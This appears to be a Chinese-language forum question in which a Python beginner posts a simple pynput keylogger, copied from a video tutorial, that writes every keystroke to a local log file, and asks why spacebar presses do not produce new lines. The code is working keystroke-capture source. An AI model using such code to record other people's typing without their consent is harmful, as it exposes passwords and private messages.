【发布时间】:2020-03-16 13:53:18
【问题描述】:
我正在运行 Python 3.8(也在 2.7 上测试过)。下面附上的是我参考视频教程创建的键盘记录器的代码,因为我对 Python 还很陌生并正在努力学习。我试图让它在按下空格键时在文件中写入一个新行,以便它向下选项卡并看起来更好。我在网上尝试了一些我发现的不同的东西,但是没有任何东西可以解决它。如果有人可以帮助我并解释为什么这不起作用,将不胜感激。谢谢,祝您度过愉快的一周
# Define imports
import pynput
from pynput.keyboard import Key, Listener
# Define variables for keylogger
count = 0
keys = []
# Function to detect key presses
def on_press(key):
global count, keys
keys.append(key)
count += 1
print(str(key))
if count >= 1:
write_file(str(keys))
keys = []
count = 0
# Function to write the letters to a file
def write_file(keys):
with open("log_test.txt", "a") as f:
for key in keys:
k = str(key).replace("'", "").replace("u", "").replace("]", "").replace(",", "").replace("[", "")
if k.find("space") >= 0: # This is the code to check for space bar press
f.write('\n')
else:
k.find("Key") == -1
f.write(k)
# Detect when a key is released
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
【问题讨论】: